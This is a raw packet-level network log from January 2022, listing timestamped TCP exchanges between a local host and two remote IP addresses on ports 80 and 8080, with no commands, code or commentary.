Jan 4, 2022 19:33:00.744745016 CET	49787	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:00.809300900 CET	80	49787	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:00.850641966 CET	80	49787	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:00.850830078 CET	49787	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:00.851006031 CET	49787	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:00.878165960 CET	49788	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:00.915518045 CET	80	49787	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:00.938508034 CET	80	49788	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:00.941627026 CET	49788	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:00.941816092 CET	49788	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:00.945547104 CET	49788	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:01.002332926 CET	80	49788	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:01.005817890 CET	80	49788	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:01.045654058 CET	80	49788	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:01.046670914 CET	49788	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:01.046962976 CET	49788	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:01.074212074 CET	49789	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:01.107233047 CET	80	49788	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:01.123485088 CET	80	49789	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:01.123624086 CET	49789	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:01.123752117 CET	49789	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:01.196115971 CET	80	49789	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:01.201610088 CET	49789	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:01.201695919 CET	49789	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:01.228918076 CET	49790	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:01.250922918 CET	80	49789	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:01.289035082 CET	80	49790	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:01.289222956 CET	49790	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:01.289366961 CET	49790	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:01.289469957 CET	49790	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:01.349492073 CET	80	49790	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:01.390626907 CET	80	49790	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:01.401421070 CET	49790	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:01.402163029 CET	49790	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:01.434392929 CET	49791	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:01.462197065 CET	80	49790	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:01.491765976 CET	80	49791	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:01.491871119 CET	49791	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:01.491995096 CET	49791	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:01.492013931 CET	49791	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:01.549344063 CET	80	49791	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:01.589416027 CET	80	49791	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:01.589541912 CET	49791	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:01.589610100 CET	49791	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:01.620208025 CET	49792	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:01.646931887 CET	80	49791	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:01.695080042 CET	80	49792	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:01.695410967 CET	49792	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:01.695523024 CET	49792	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:01.695542097 CET	49792	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:01.770365000 CET	80	49792	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:01.811691999 CET	80	49792	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:01.811803102 CET	49792	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:01.811985016 CET	49792	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:01.819674015 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:01.879997969 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:01.885742903 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:01.885881901 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:01.886735916 CET	80	49792	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:01.946283102 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:01.948951006 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:01.948992014 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:01.949031115 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:01.949069977 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:01.949088097 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:01.949107885 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:01.949146986 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:01.949160099 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:01.949186087 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:01.949202061 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:01.949223995 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:01.949264050 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:01.949275970 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:01.949301958 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:01.949729919 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.009637117 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.009670019 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.009696960 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.009723902 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.009740114 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.009752035 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.009778976 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.009800911 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.009807110 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.009852886 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.009860039 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.010118008 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.010154009 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.010174990 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.010189056 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.010210991 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.010226011 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.010262012 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.010308027 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.010322094 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.010360956 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.010409117 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.010422945 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.010457993 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.010756016 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.010792971 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.010828972 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.010864019 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.010878086 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.010905981 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.070086002 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.070168972 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.070209026 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.070249081 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.070267916 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.070301056 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.070346117 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.070358992 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.070421934 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.070463896 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.070497036 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.070502043 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.070508957 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.070543051 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.070579052 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.070594072 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.070619106 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.070657969 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.070664883 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.070694923 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.070734024 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.070746899 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.070774078 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.070813894 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.070821047 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.070858955 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.070897102 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.070935011 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.070950985 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.070974112 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.070986986 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.071012020 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.071050882 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.071099043 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.071146965 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.071187019 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.071223974 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.071247101 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.071263075 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.071264982 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.071300983 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.071337938 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.071376085 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.071383953 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.071414948 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.071468115 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.071482897 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.071528912 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.071585894 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.071587086 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.071626902 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.071666956 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.071681023 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.071706057 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.071743965 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.071779013 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.071804047 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.071841955 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.071858883 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.071919918 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.131280899 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.131406069 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.131444931 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.131484985 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.131506920 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.131526947 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.131567955 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.131572008 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.131638050 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.132018089 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.132060051 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.132098913 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.132137060 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.132138014 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.132177114 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.132191896 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.132215977 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.132256031 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.132270098 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.132297993 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.132347107 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.132395029 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.132435083 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.132473946 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.132512093 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.132533073 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.132554054 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.132589102 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.132595062 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.132636070 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.132643938 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.132675886 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.132714987 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.132751942 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.132791042 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.132792950 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.132827044 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.132831097 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.132886887 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.132929087 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.132965088 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.133008003 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.133038044 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.133045912 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.133086920 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.133131981 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.133157015 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.133224010 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.133297920 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.133337975 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.133368969 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.133407116 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.133409023 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.133446932 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.133486032 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.133498907 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.133523941 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.133563042 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.133574963 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.133642912 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.133728027 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.133768082 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.133816957 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.135387897 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.135446072 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.135484934 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.135535002 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.135535955 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.135576963 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.135606050 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.135746956 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.191787004 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.191836119 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.191874981 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.191912889 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.191915989 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.191953897 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.191994905 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.192019939 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.192048073 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.192605972 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.192646027 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.192684889 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.192703962 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.192723036 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.192771912 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.193160057 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.193203926 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.193243027 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.193273067 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.193281889 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.193324089 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.193361044 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.193377972 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.193399906 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.193413973 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.193439960 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.193476915 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.193516016 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.193528891 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.193555117 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.193593979 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.193619013 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.193634987 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.193649054 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.193672895 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.193713903 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.193753958 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.193779945 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.193792105 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.193834066 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.193852901 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.193892002 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.193952084 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.193953991 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.194011927 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.194055080 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.194067955 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.194093943 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.194102049 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.194133043 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.194175005 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.194194078 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.194212914 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.194252014 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.194267988 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.194291115 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.194330931 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.194366932 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.194380045 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.194406986 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.194446087 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.194452047 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.194493055 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.195970058 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.196008921 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.196047068 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.196075916 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.196085930 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.196124077 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.196161032 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.196161985 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.196212053 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.252208948 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.252260923 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.252299070 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.252337933 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.252362967 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.252378941 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.252418041 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.252422094 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.252466917 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.252916098 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.252958059 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.252998114 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.253036022 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.254656076 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.254700899 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.254738092 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.254739046 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.254777908 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.254793882 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.254820108 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.254857063 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.254895926 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.254916906 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.254937887 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.254956961 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.254976988 CET	8080	49793	185.7.214.171	192.168.2.5
